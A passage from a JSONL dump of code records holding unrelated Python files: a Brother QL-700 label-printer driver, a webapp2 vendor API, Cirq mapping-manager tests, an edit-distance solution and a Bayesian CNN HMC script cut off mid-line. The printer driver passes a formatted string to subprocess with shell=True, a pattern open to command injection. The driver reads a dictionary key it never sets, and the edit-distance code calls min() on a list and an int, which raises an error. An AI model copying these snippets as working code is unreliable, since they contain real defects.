Image.new('RGBA', (696, 280), color=\"white\")\n label.paste(text, (0, 0))\n label.paste(barcode, (540, 120))\n label.save(self.WORKING_PATH + \"label.png\")\n img_file = os.path.abspath(self.WORKING_PATH + 'label.png')\n self.logger.info(img_file)\n self._save_as_base64(img_file)\n return img_file\n\n def _save_as_base64(self, img_path):\n with open(\"{}\".format(img_path), 'rb') as image:\n str = base64.b64encode(image.read())\n file = open(self.WORKING_PATH + \"img.txt\", 'w')\n file.write(str.decode(\"utf-8\"))\n file.close()\n\n def _print_label(self, img_path):\n brother_ql = os.path.abspath(self.DRIVER_PATH + \"/brother_ql\")\n\n l_bin = subprocess.Popen(\n ['python3 {}/brother_ql_create.py --model QL-700 {} > {}label.bin'.format(brother_ql, img_path, self.WORKING_PATH)],\n cwd='.', stdout=subprocess.PIPE, shell=True)\n\n # brother_ql_create --model QL-700 label.png > label.bin\n\n self.logger.info(str(l_bin.communicate()[0], 'utf-8'))\n\n printing = subprocess.Popen(\n ['python3', '{}/brother_ql_print.py'.format(brother_ql), '{}label.bin'.format(self.WORKING_PATH), self.path],\n cwd='.', stdout=subprocess.PIPE)\n\n self.logger.info(str(printing.communicate()[0], 'utf-8'))\n if printing.returncode:\n self.logger.error(\"printing.returncode: {}\".format(printing.returncode))\n return False\n\n self.logger.info(\"printed successfully\")\n return True\n\n def print_ruid_barcode(self, ruid, chan=0):\n \"\"\" Print a label with the RUID and a barcode representation of the RUID\n\n :param ruid:\n :return: success \n \"\"\"\n with self.lock:\n barcode_path = self._create_barcode(ruid)\n text_path = self._create_text(ruid, chan)\n label_path = self._create_label(text_path, barcode_path)\n return self._print_label(label_path)\n\n def get_id_path(self):\n \"\"\" Get ID and path\n\n :return: id, path\n \"\"\"\n return self.id, self.path\n\n\nclass HWDriver(object):\n \"\"\"\n HWDriver is a class that installs a HW driver into the shared state.\n This is not the HW driver itself, just an installer.\n\n \"\"\"\n SFN = os.path.basename(__file__)\n\n def __init__(self):\n self.logger = logging.getLogger(\"{}\".format(self.SFN))\n self.logger.info(\"Start\")\n\n def discover_channels(self):\n \"\"\" Determine the number of channels, and populate hw drivers into shared state\n\n This driver is for the Brother QL-700 only.\n Multiple printers are not supported by this example driver.\n Multiple printers could be supported by assigning the /dev/usb/lp# to the channel\n number.\n\n [ {\"id\": i, # ~slot number of the channel (see Note 1)\n \"version\": , # version of the driver\n \"hwdrv\": , # instance of your hardware driver\n\n # optional\n \"close\": None, # register a callback on closing the channel, or None\n \"play\": jig_closed_detect # function for detecting jig closed\n \"show_pass_fail\": jig_led # function for indicating pass/fail (like LED)\n \"show_msg\": jig_display # function for indicating test status (like display)\n\n # not part of the required block\n \"unique_id\": , # unique id of the hardware (for tracking purposes)\n ...\n }, ...\n ]\n\n Note:\n 1) The hw driver objects are expected to have an 'slot' field, the lowest\n id is assigned to channel 0, the next highest to channel 1, etc\n\n :return: <#>, \n where #: >0 number of channels,\n 0 does not indicate num channels, like a shared hardware driver\n <0 error\n\n list of drivers\n \"\"\"\n drivers = []\n\n id = 0\n dev = usb.core.find(find_all=True)\n for d in dev:\n # print(d) to see all the attributes\n manu = usb.util.get_string(d, d.iManufacturer)\n prod = usb.util.get_string(d, d.iProduct)\n if manu == \"Brother\" and prod in [\"QL-700\", ]:\n self.logger.info(\"Found {} {}\".format(manu, prod))\n\n p = '/dev/usb/lp0' # FIXME: when multiple printers exist, need to find file association\n\n drivers.append({\"id\": id,\n \"version\": VERSION,\n \"hwdrv\": BrotherQL700(id, p),\n \"play\": None,\n \"show_pass_fail\": None,\n \"show_msg\": None,\n \"close\": None})\n id += 1\n\n if not drivers:\n self.logger.error(\"printer not found\")\n pub_notice(\"HWDriver:{}: Error none found\".format(self.SFN), sender=\"discover_channels\", type=PUB.NOTICES_ERROR)\n return -1, DRIVER_TYPE, []\n\n # do not allow the test script validation step to succeed if can't print a test label\n for d in drivers:\n id, path = d[\"printer\"].get_id_path()\n success = d[\"printer\"].print_ruid_barcode(\"id{}-{}\".format(id, path))\n if not success:\n self.logger.error(\"failed to print\")\n pub_notice(\"HWDriver:{}: failed to print\".format(self.SFN), sender=\"discover_channels\", type=PUB.NOTICES_ERROR)\n return -1, DRIVER_TYPE, []\n\n pub_notice(\"HWDriver:{}: found {} {}\".format(self.SFN, id, path), sender=\"discover_channels\", type=PUB.NOTICES_NORMAL)\n\n # by returning 0, it means this return values DOES not represent number of channels\n return 0, DRIVER_TYPE, drivers\n\n","sub_path":"public/prism/drivers/brother_ql700/hwdrv_ql700.py","file_name":"hwdrv_ql700.py","file_ext":"py","file_size_in_byte":8646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"431880179","text":"import math\nimport time\n\nWIDTH = 800\nHEIGHT = 1000\nFPS = 60.0\n\nUNIT_X = int(WIDTH/4)\nUNIT_Y = int(HEIGHT/1.5)\nUNIT_R = 20\n\nplayer_angle = 2*math.pi/4\n\nnumber_of_sensors = 4\n\ndef get_sensor_data():\n sensor_angle = 2 * math.pi / number_of_sensors\n #sensor_angle += math.pi/8\n data = []\n colors = []\n for n in range(number_of_sensors):\n sangle = math.fmod(player_angle + n * sensor_angle, 2 * math.pi)\n dx = math.sin(sangle)\n dy = math.cos(sangle)\n print(\"Right now used sensor: \" + str(n+1))\n for i in range(10):\n x = int(UNIT_X + dx * i)\n y = int(UNIT_Y + dy * i)\n print(x,y)\n time.sleep(1)\n\n\nget_sensor_data()\n\n\"\"\"screen.get_at(rotated_p)\"\"\"","sub_path":"SIMULATOR_3/radar_test.py","file_name":"radar_test.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"615622525","text":"import webapp2\nimport json\nfrom models.vendor import Vendor\nfrom models.activity import Activity\nimport logging\nfrom google.appengine.ext import ndb\nfrom helpers.serialize_helper import SerializeHelper\nfrom helpers.base_handler import BaseHandler\nfrom consts.vendor_consts import VENDOR_STATUS_TYPES, APPROVED_VENDOR, DENIED_VENDOR\nfrom helpers.email_helper import EmailHelper\n\n\nclass VendorsAPI(BaseHandler):\n\n # /api/vendors\n # /api/vendors/\n def get(self, vendor_id_str=None):\n try:\n if vendor_id_str is not None:\n existing_vendor = self.validate_and_get_vendor(vendor_id_str)\n if not existing_vendor:\n return\n\n else:\n self.print_ndb_model(existing_vendor)\n\n else:\n all_vendors = Vendor.query().fetch()\n self.print_list_ndb_model(all_vendors)\n\n except Exception as err:\n self.handle_general_exception(err)\n\n def options(self, *args,**kwargs):\n return self.print_object({})\n\n # /api/vendors/new\n def post(self, action):\n if action == 'new':\n self.create_new_vendor()\n\n else:\n self.print_error()\n\n # /api/vendors//approve\n # /api/vendors/\n def put(self, vendor_id_str, action=None):\n\n existing_vendor = self.validate_and_get_vendor(vendor_id_str)\n if not existing_vendor:\n return\n\n if action == 'approve':\n self.approve_or_deny_vendor(existing_vendor)\n\n elif action == None:\n self.update_vendor(existing_vendor)\n else:\n self.print_error()\n\n def create_new_vendor(self):\n\n try:\n # Saving a new vendor in Pending Status\n new_vendor = SerializeHelper.deserialize_entity_from_str(self.request.body, Vendor)\n new_vendor.put()\n\n EmailHelper.send_account_manager_email(new_vendor.key.id())\n EmailHelper.send_new_vendor_pending_email(new_vendor)\n\n self.print_ndb_model(new_vendor)\n\n except Exception as err:\n self.handle_general_exception(err)\n\n def approve_or_deny_vendor(self, existing_vendor):\n try:\n properties_to_update_dictionary = json.loads(self.request.body)\n # Make sure status was sent\n if Vendor.status._name in properties_to_update_dictionary:\n\n existing_vendor.status = properties_to_update_dictionary[Vendor.status._name]\n existing_vendor.put()\n self.print_ndb_model(existing_vendor)\n\n if existing_vendor.status == APPROVED_VENDOR:\n EmailHelper.send_new_vendor_approved_email(existing_vendor)\n elif existing_vendor.status == DENIED_VENDOR:\n EmailHelper.send_new_vendor_denied_email(existing_vendor)\n\n else:\n self.print_error(\"no %s\" % Vendor.status._name)\n\n except Exception as err:\n self.handle_general_exception(err)\n\n def update_vendor(self, existing_vendor):\n\n try:\n updated_properties_vendor = SerializeHelper.deserialize_entity_from_str(self.request.body, Vendor)\n\n if updated_properties_vendor.key is None:\n self.print_error(\"no id was sent\")\n return\n elif not updated_properties_vendor.key.id() == existing_vendor.key.id():\n self.print_error(\"Id sent in body does not match id in url\")\n return\n\n updated_properties_vendor.put()\n self.print_ndb_model(updated_properties_vendor)\n\n except Exception as err:\n self.handle_general_exception(err)\n\napp = webapp2.WSGIApplication([\n ('/api/vendors/(.*)/(.*)', VendorsAPI),\n ('/api/vendors/(.*)', VendorsAPI),\n ('/api/vendors', VendorsAPI),\n], debug=True)\n","sub_path":"api/vendors_api.py","file_name":"vendors_api.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"494776903","text":"#!/usr/bin/env python3\n\nimport argparse\n\nfrom http.server import HTTPServer\n\nfrom .podcastfeeder import create_feeder\nfrom .config import (\n Config,\n ConfigException\n)\n\n\"\"\"\nStart the program\n\"\"\"\n\n\ndef main():\n arg_parser = argparse.ArgumentParser(prog=\"youtube-podcaster\",\n description=\"Converts youtube \\\n playlists to RSS-feeds\")\n arg_parser.add_argument(\"-c\", \"--config\",\n dest=\"config\",\n help=\"Use CONFIG as the config file\")\n arg_parser.add_argument(\"-i\", \"--interface\",\n dest=\"interface\",\n help=\"The interface the http server will listen on\")\n arg_parser.add_argument(\"-p\", \"--port\",\n dest=\"port\",\n help=\"The port the http server will listen on\")\n arg_parser.add_argument(\"--api-key\",\n dest=\"apikey\",\n help=\"The YouTube API v3 key\")\n args = arg_parser.parse_args()\n\n try:\n config = Config.parse_config(args)\n\n PodcastFeeder = create_feeder(config)\n\n server = HTTPServer(config.get_server_address(), PodcastFeeder)\n server.serve_forever()\n except ConfigException as e:\n print(e)\n except KeyboardInterrupt:\n server.socket.close()\n\n# vim: set ts=8 sw=4 tw=0 et :\n","sub_path":"youtube_podcaster/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"217705702","text":"# Copyright 2022 The Cirq Developers\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom networkx.utils.misc import graphs_equal\nimport pytest\nimport networkx as nx\n\nimport cirq\n\n\ndef construct_device_graph_and_mapping():\n device_graph = nx.Graph(\n [\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"b\")),\n (cirq.NamedQubit(\"b\"), cirq.NamedQubit(\"c\")),\n (cirq.NamedQubit(\"c\"), cirq.NamedQubit(\"d\")),\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"e\")),\n (cirq.NamedQubit(\"e\"), cirq.NamedQubit(\"d\")),\n ]\n )\n q = cirq.LineQubit.range(5)\n initial_mapping = {\n q[1]: cirq.NamedQubit(\"a\"),\n q[3]: cirq.NamedQubit(\"b\"),\n q[2]: cirq.NamedQubit(\"c\"),\n q[4]: cirq.NamedQubit(\"d\"),\n }\n return device_graph, initial_mapping, q\n\n\ndef test_induced_subgraph():\n device_graph, initial_mapping, _ = construct_device_graph_and_mapping()\n mm = cirq.MappingManager(device_graph, initial_mapping)\n\n expected_induced_subgraph = nx.Graph(\n [\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"b\")),\n (cirq.NamedQubit(\"b\"), cirq.NamedQubit(\"c\")),\n (cirq.NamedQubit(\"c\"), cirq.NamedQubit(\"d\")),\n ]\n )\n assert graphs_equal(mm.induced_subgraph, expected_induced_subgraph)\n\n\ndef test_mapped_op():\n device_graph, initial_mapping, q = construct_device_graph_and_mapping()\n mm = cirq.MappingManager(device_graph, initial_mapping)\n\n assert mm.mapped_op(cirq.CNOT(q[1], q[3])).qubits == (\n cirq.NamedQubit(\"a\"),\n cirq.NamedQubit(\"b\"),\n )\n # does not fail if qubits non-adjacent\n assert mm.mapped_op(cirq.CNOT(q[3], q[4])).qubits == (\n cirq.NamedQubit(\"b\"),\n cirq.NamedQubit(\"d\"),\n )\n\n # correctly changes mapped qubits when swapped\n mm.apply_swap(q[2], q[3])\n assert mm.mapped_op(cirq.CNOT(q[1], q[2])).qubits == (\n cirq.NamedQubit(\"a\"),\n cirq.NamedQubit(\"b\"),\n )\n # does not fial if qubits non-adjacent\n assert mm.mapped_op(cirq.CNOT(q[1], q[3])).qubits == (\n cirq.NamedQubit(\"a\"),\n cirq.NamedQubit(\"c\"),\n )\n\n\ndef test_distance_on_device_and_can_execute():\n device_graph, initial_mapping, q = construct_device_graph_and_mapping()\n mm = cirq.MappingManager(device_graph, initial_mapping)\n\n # adjacent qubits have distance 1 and are thus executable\n assert mm.dist_on_device(q[1], q[3]) == 1\n assert mm.can_execute(cirq.CNOT(q[1], q[3]))\n\n # non-adjacent qubits with distance > 1 are not executable\n assert mm.dist_on_device(q[1], q[2]) == 2\n assert mm.can_execute(cirq.CNOT(q[1], q[2])) is False\n\n # 'dist_on_device' does not use cirq.NamedQubit(\"e\") to find shorter shortest path\n assert mm.dist_on_device(q[1], q[4]) == 3\n\n # distance changes after applying swap\n mm.apply_swap(q[2], q[3])\n assert mm.dist_on_device(q[1], q[3]) == 2\n assert mm.can_execute(cirq.CNOT(q[1], q[3])) is False\n assert mm.dist_on_device(q[1], q[2]) == 1\n assert mm.can_execute(cirq.CNOT(q[1], q[2]))\n\n # distance between other qubits doesn't change\n assert mm.dist_on_device(q[1], q[4]) == 3\n\n\ndef test_apply_swap():\n device_graph, initial_mapping, q = construct_device_graph_and_mapping()\n mm = cirq.MappingManager(device_graph, initial_mapping)\n\n # swapping non-adjacent qubits raises error\n with pytest.raises(ValueError):\n mm.apply_swap(q[1], q[2])\n\n # applying swap on same qubit does nothing\n map_before_swap = mm.map.copy()\n mm.apply_swap(q[1], q[1])\n assert map_before_swap == mm.map\n\n # applying same swap twice does nothing\n mm.apply_swap(q[1], q[3])\n mm.apply_swap(q[1], q[3])\n assert map_before_swap == mm.map\n\n # qubits in inverse map get swapped correctly\n assert mm.inverse_map == {v: k for k, v in mm.map.items()}\n\n\ndef test_shortest_path():\n device_graph, initial_mapping, q = construct_device_graph_and_mapping()\n mm = cirq.MappingManager(device_graph, initial_mapping)\n\n one_to_four = [q[1], q[3], q[2], q[4]]\n assert mm.shortest_path(q[1], q[2]) == one_to_four[:3]\n assert mm.shortest_path(q[1], q[4]) == one_to_four\n # shortest path on symmetric qubit reverses the list\n assert mm.shortest_path(q[4], q[1]) == one_to_four[::-1]\n\n # swapping changes shortest paths involving the swapped qubits\n mm.apply_swap(q[3], q[2])\n one_to_four[1], one_to_four[2] = one_to_four[2], one_to_four[1]\n assert mm.shortest_path(q[1], q[4]) == one_to_four\n assert mm.shortest_path(q[1], q[2]) == [q[1], q[2]]\n\n\ndef test_value_equality():\n equals_tester = cirq.testing.EqualsTester()\n device_graph, initial_mapping, q = construct_device_graph_and_mapping()\n\n mm = cirq.MappingManager(device_graph, initial_mapping)\n\n # same as 'device_graph' but with different insertion order of edges\n diff_edge_order = nx.Graph(\n [\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"b\")),\n (cirq.NamedQubit(\"e\"), cirq.NamedQubit(\"d\")),\n (cirq.NamedQubit(\"c\"), cirq.NamedQubit(\"d\")),\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"e\")),\n (cirq.NamedQubit(\"b\"), cirq.NamedQubit(\"c\")),\n ]\n )\n mm_edge_order = cirq.MappingManager(diff_edge_order, initial_mapping)\n equals_tester.add_equality_group(mm, mm_edge_order)\n\n # same as 'device_graph' but with directed edges (DiGraph)\n device_digraph = nx.DiGraph(\n [\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"b\")),\n (cirq.NamedQubit(\"b\"), cirq.NamedQubit(\"c\")),\n (cirq.NamedQubit(\"c\"), cirq.NamedQubit(\"d\")),\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"e\")),\n (cirq.NamedQubit(\"e\"), cirq.NamedQubit(\"d\")),\n ]\n )\n mm_digraph = cirq.MappingManager(device_digraph, initial_mapping)\n equals_tester.add_equality_group(mm_digraph)\n\n # same as 'device_graph' but with an added isolated node\n isolated_vertex_graph = nx.Graph(\n [\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"b\")),\n (cirq.NamedQubit(\"b\"), cirq.NamedQubit(\"c\")),\n (cirq.NamedQubit(\"c\"), cirq.NamedQubit(\"d\")),\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"e\")),\n (cirq.NamedQubit(\"e\"), cirq.NamedQubit(\"d\")),\n ]\n )\n isolated_vertex_graph.add_node(cirq.NamedQubit(\"z\"))\n mm = cirq.MappingManager(isolated_vertex_graph, initial_mapping)\n equals_tester.add_equality_group(isolated_vertex_graph)\n\n # mapping manager with same initial graph and initial mapping as 'mm' but with different\n # current state\n mm_with_swap = cirq.MappingManager(device_graph, initial_mapping)\n mm_with_swap.apply_swap(q[1], q[3])\n equals_tester.add_equality_group(mm_with_swap)\n\n\ndef test_repr():\n device_graph, initial_mapping, _ = construct_device_graph_and_mapping()\n mm = cirq.MappingManager(device_graph, initial_mapping)\n cirq.testing.assert_equivalent_repr(mm, setup_code='import cirq\\nimport networkx as nx')\n\n device_digraph = nx.DiGraph(\n [\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"b\")),\n (cirq.NamedQubit(\"b\"), cirq.NamedQubit(\"c\")),\n (cirq.NamedQubit(\"c\"), cirq.NamedQubit(\"d\")),\n (cirq.NamedQubit(\"a\"), cirq.NamedQubit(\"e\")),\n (cirq.NamedQubit(\"e\"), cirq.NamedQubit(\"d\")),\n ]\n )\n mm_digraph = cirq.MappingManager(device_digraph, initial_mapping)\n cirq.testing.assert_equivalent_repr(mm_digraph, setup_code='import cirq\\nimport networkx as nx')\n\n\ndef test_str():\n device_graph, initial_mapping, _ = construct_device_graph_and_mapping()\n mm = cirq.MappingManager(device_graph, initial_mapping)\n assert (\n str(mm)\n == f'cirq.MappingManager(nx.Graph({dict(device_graph.adjacency())}), {initial_mapping})'\n )\n","sub_path":"cirq-core/cirq/transformers/routing/mapping_manager_test.py","file_name":"mapping_manager_test.py","file_ext":"py","file_size_in_byte":8279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"362234526","text":"# zuoyebang 2020 p2\n# minimal ops of converting s1 to s2\nclass Solution:\n def __init__(self):\n self.res = 0\n\n def getRes(self, s1, s2):\n l1 = list(s1)\n l2 = list(s2)\n dp = [[0 for j in range(len(l2) + 1)] for i in range(len(l1) + 1)]\n l1.insert(0, \"0\")\n l2.insert(0, \"0\")\n # print(dp)\n\n for i in range(1, len(l1)):\n for j in range(1, len(l2)):\n # print(i, j)\n if l1[i] == l2[j]:\n dp[i][j] = dp[i - 1][j - 1]\n else:\n dp[i][j] = min(\n [dp[i - 1][j] + 1, dp[i][j - 1] + 1], dp[i - 1][j - 1] + 1\n )\n self.res = dp[len(s1)][len(s2)]\n return self.res\n\n\nif __name__ == \"__main__\":\n s1, s2 = map(str, input().split())\n sol = Solution()\n print(sol.getRes(s1, s2))\n","sub_path":"newCoder/zuoyebang_2020p2.py","file_name":"zuoyebang_2020p2.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"256873881","text":"import tensorflow as tf\nimport sys\n\n# Define the model\nclass CNN:\n def __init__(self, filter_shapes, dense_nodes, input_shape, act_fn=tf.nn.relu):\n self.filter_shapes = filter_shapes\n self.dense_nodes = dense_nodes\n self.act_fn = act_fn\n\n # Calculate the output shape of the CNN\n tmp_vars = self.initialize_vars(args.alpha, only_cnn=True)\n x = self.call(tf.zeros(shape=[1]+input_shape), *tmp_vars, only_cnn=True)\n self.cnn_output_shape = x.shape[-1]\n\n @tf.function\n def call(self, x, *vars, only_cnn=False):\n # Check that the number of parameters are correct\n if only_cnn:\n assert(len(vars) == 2 * len(self.filter_shapes))\n else:\n assert(len(vars) == 2 * len(self.filter_shapes) + 2 * len(self.dense_nodes))\n\n # CNN layers\n for i in range(0, 2*len(self.filter_shapes), 2):\n strides = (1, 1) if i == 0 else (2, 2)\n x = self.act_fn(tf.nn.bias_add(tf.nn.conv2d(input=x, filters=vars[i], strides=strides, padding=\"VALID\"), vars[i+1]))\n\n x = tf.reshape(x, [x.shape[0], -1])\n\n if only_cnn:\n return x\n\n # Dense layers\n for i in range(2*len(self.filter_shapes), len(vars), 2):\n x = tf.matmul(x, vars[i]) + vars[i+1]\n if i < len(vars)-2:\n x = self.act_fn(x)\n\n return x\n\n def initialize_vars(self, alpha, initializer=tf.initializers.he_normal(), only_cnn=False):\n vars = []\n for i, filter_shape in enumerate(self.filter_shapes):\n w = tf.Variable(initializer(shape=filter_shape), name=\"W%d\" % i)\n b = tf.Variable(tf.zeros(shape=filter_shape[-1]), name=\"b%d\" % i)\n vars.extend([w, b])\n\n if only_cnn:\n return vars\n\n previous_nodes = self.cnn_output_shape\n for i, nodes in enumerate(self.dense_nodes):\n n = i+len(self.filter_shapes)\n w = tf.Variable(initializer(shape=(previous_nodes, nodes)), name=\"W%d\" % n)\n b = tf.Variable(tf.zeros(shape=(nodes)), name=\"b%d\" % n)\n\n if i == len(self.dense_nodes)-1:\n \tw = w*alpha \n\n vars.extend([w, b])\n previous_nodes = nodes\n\n return vars\n\n @staticmethod\n @tf.function\n def loss(y, logits):\n return tf.reduce_sum(tf.nn.sparse_softmax_cross_entropy_with_logits(y, logits))\n\n @staticmethod\n @tf.function\n def weights(*vars):\n return vars[::2]\n\n @staticmethod\n @tf.function\n def l2(*vars):\n return tf.add_n([tf.nn.l2_loss(w) for w in CNN.weights(*vars)])\n\n @staticmethod\n @tf.function\n def predict(logits):\n return tf.argmax(logits, axis=1, output_type=tf.int32)\n\n @staticmethod\n @tf.function\n def accuracy(y, logits):\n return tf.reduce_mean(tf.cast(tf.equal(y, CNN.predict(logits)), tf.float32))\n\n# Define target distribution\ndef get_unnormalized_log_prob(model, x, y, beta, prior_scale, geo, he, prior_scales_with_beta, likelihood_scales_with_beta):\n def unnormalized_log_prob(*vars):\n logits = model.call(x, *vars)\n loss = model.loss(y, logits)\n l2 = model.l2(*vars)\n log_likelihood = -loss\n\n prior = 0\n if he:\n for w in model.weights(*vars):\n var = 2. / np.prod(w.shape[:-1]) # He initialization\n prior += -tf.nn.l2_loss(w)/var # l2_loss includes 1/2\n elif prior_scale > 0:\n prior += -l2/prior_scale**2 # l2_loss includes 1/2\n if geo:\n d = sum(map(lambda w: np.prod(w.shape), model.weights(*vars)))\n prior += -(d - 1) * tf.math.log(2 * l2) / 2\n \n if prior_scales_with_beta:\n prior = beta*prior\n if likelihood_scales_with_beta:\n log_likelihood = beta*log_likelihood\n\n return log_likelihood + prior\n return unnormalized_log_prob\n\ndef get_logits(model,x, *vars):\n return model.call(x, *vars)\n\ndef entropy(logits):\n logp = logits - logsumexp(logits, axis=1, keepdims=True)\n return -np.sum( np.exp(logp)*logp, axis=1) \n\ndef p(logits):\n logp = logits - logsumexp(logits, axis=1, keepdims=True)\n return np.exp(logp) \n\n# A trace function that calculating training and validation loss\nclass Tracer:\n def __init__(self, model, unnormalized_log_prob, x_train, y_train, x_val, y_val):\n self.model = model\n self.x_train = x_train\n self.y_train = y_train\n self.x_val = x_val\n self.y_val = y_val\n self.n_accept = tf.Variable(tf.zeros(shape=(), dtype=tf.int64))\n self.n_attempt = tf.Variable(tf.zeros(shape=(), dtype=tf.int64))\n\n def call(self, state, kernel_results):\n log_prob = unnormalized_log_prob(*state)\n l2 = model.l2(*state)\n\n train_logits = model.call(self.x_train, *state)\n train_loss = model.loss(self.y_train, train_logits)\n train_accuracy = model.accuracy(self.y_train, train_logits)\n\n val_logits = model.call(self.x_val, *state)\n val_loss = model.loss(self.y_val, val_logits)\n val_accuracy = model.accuracy(self.y_val, val_logits)\n\n self.n_accept.assign_add(tf.cast(kernel_results.inner_results.is_accepted, tf.int64))\n self.n_attempt.assign_add(1)\n acceptance_rate = tf.cast(self.n_accept, tf.float32) / tf.cast(self.n_attempt, tf.float32)\n\n tf.print(\"step =\", kernel_results.step, \"acceptance-rate =\", acceptance_rate, \"step-size =\", kernel_results.new_step_size, output_stream=sys.stdout)\n tf.print(\"\\tlog_prob =\", log_prob, \"l2 =\", l2, output_stream=sys.stdout)\n tf.print(\"\\ttrain_loss =\", train_loss, \"train_accuracy =\", train_accuracy, output_stream=sys.stdout)\n tf.print(\"\\tval_loss =\", val_loss, \"val_accuracy =\", val_accuracy, output_stream=sys.stdout)\n\n if hasattr(kernel_results.inner_results, 'leapfrogs_taken'):\n tf.print(\"\\tleapfrogs_taken =\", kernel_results.inner_results.leapfrogs_taken, output_stream=sys.stdout)\n \n\nif __name__ == \"__main__\":\n import pickle\n import numpy as np\n import tensorflow as tf\n import tensorflow_probability as tfp\n from tensorflow import keras\n from mcmc import StepTracer\n import matplotlib.pyplot as plt\n import seaborn as sns\n from scipy.special import logsumexp\n import ternary\n from matplotlib import cm\n from numpy import linspace\n\n\n # Command line parameters\n import argparse\n import distutils.util\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--num-steps\", type=int, default=100000,\n help=\"Number of steps (epochs) to run the HMC sampler (default: %(default)s)\")\n parser.add_argument(\"--num-burnin-steps\", type=int, default=1000,\n help=\"Number of burnin steps (epochs) for the HMC sampler (default: %(default)s)\")\n parser.add_argument(\"--beta\", type=float, default=1.0,\n help=\"Beta-value for the target distribution (default: %(default)s)\")\n parser.add_argument(\"--prior-scale\", type=float, default=0.1,\n help=\"The scale for the Normal prior on weights (default: %(default)s)\")\n parser.add_argument(\"--trace-freq\", type=int, default=10,\n help=\"Frequency for reporting training and validation loss (default: %(default)s)\")\n parser.add_argument(\"--results-freq\", type=int, default=100,\n help=\"Frequency for reporting results (samples) from the simulation (default: %(default)s)\")\n parser.add_argument(\"--train-size\", type=int, default=None,\n help=\"Only read this number of images for the training set (default: %(default)s)\")\n parser.add_argument(\"--train-start-index\", type=int, default=0,\n help=\"Where in the training set to start (default: %(default)s)\")\n parser.add_argument(\"--method\", choices=['hmc', 'nuts', 'adam'], default=\"hmc\",\n help=\"Which method to use\")\n parser.add_argument(\"--step-size\", type=float, default=0.05,\n help=\"Step size for HMC/ST (default: %(default)s)\")\n parser.add_argument(\"--pickle\", type=str, default=None,\n help=\"Filname for dumping data and for reading when testing pickle (default: %(default)s)\")\n parser.add_argument(\"--test-out-pickle\", type=str, default=None,\n help=\"Filname for dumping the results of the test (default: %(default)s)\")\n parser.add_argument(\"--mode\", choices=['sample', 'test', 'init'], default=\"sample\",\n help=\"Which mode to use\")\n parser.add_argument(\"--num-leapfrog-steps\", type=int, default=3,\n help=\"Number of leapfrog steps for the HMC sampler (default: %(default)s)\")\n parser.add_argument(\"--geo\", type=distutils.util.strtobool, default='False',\n help=\"Use the geometric term (default: %(default)s)\")\n parser.add_argument(\"--he\", type=distutils.util.strtobool, default='False',\n help=\"Use the He Gaussian prior (default: %(default)s)\")\n parser.add_argument(\"--prior-scales-with-beta\", type=distutils.util.strtobool, default='False',\n help=\"If the log-prior should be multiplied by beta (default: %(default)s)\")\n parser.add_argument(\"--likelihood-scales-with-beta\", type=distutils.util.strtobool, default='False',\n help=\"If the log-likelihood should be multiplied by beta (default: %(default)s)\")\n parser.add_argument(\"--test-stride\", type=int, default=1,\n help=\"Stride used in test mode (default: %(default)s)\")\n parser.add_argument(\"--dataset\", choices=['mnist', 'fashionmnist', 'cifar10', 'cifar10-gs', 'cifar100', 'cifar100-gs'], default='mnist',\n help=\"which dataset to use (default: %(default)s)\")\n parser.add_argument(\"--size-dense-layer\", type=int, default=10,\n help=\"Size of dense layer prior to output (default: %(default)s)\")\n parser.add_argument(\"--act-fn\", choices=['relu', 'selu', 'tanh', 'sigmoid'], default=\"relu\",\n help=\"Which activation function to use\")\n parser.add_argument(\"--max-tree-depth\", type=int, default=10,\n help=\"Maximal tree depth for the NUTS sampler (default: %(default)s)\")\n parser.add_argument(\"--name\", type=str, default='no_name',\n help=\"Name of the experiment (default: %(default)s)\")\n parser.add_argument(\"--num-of-inits\", type=int, default=1,\n help=\"Number of inits (default: %(default)s)\")\n parser.add_argument(\"--save_entropies\", type=distutils.util.strtobool, default='False',\n help=\"If need to save entropies of prior predictive (default: %(default)s)\")\n parser.add_argument(\"--plot_simplex\", type=distutils.util.strtobool, default='False',\n help=\"If need to plot probability simplex for the first three classes (default: %(default)s)\")\n parser.add_argument(\"--last-prior-scales-with-alpha\", type=distutils.util.strtobool, default='False',\n help=\"If in the last layer prior ar initialization should be scaled with alpha (default: %(default)s)\") \n parser.add_argument(\"--alpha\", type=float, default=1.0,\n help=\"Alpha-value for the prior (default: %(default)s)\")\n \n\n\n args = parser.parse_args()\n\n print(\"# Options\")\n for key, value in sorted(vars(args).items()):\n print(key, \"=\", value)\n\n # Read MNIST dataset and scale the values to [0,1]\n if args.dataset == \"mnist\":\n (x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()\n x_train = np.expand_dims(x_train, axis=-1)\n x_test = np.expand_dims(x_test, axis=-1)\n output_size = 10\n elif args.dataset == \"fashionmnist\":\n (x_train, y_train), 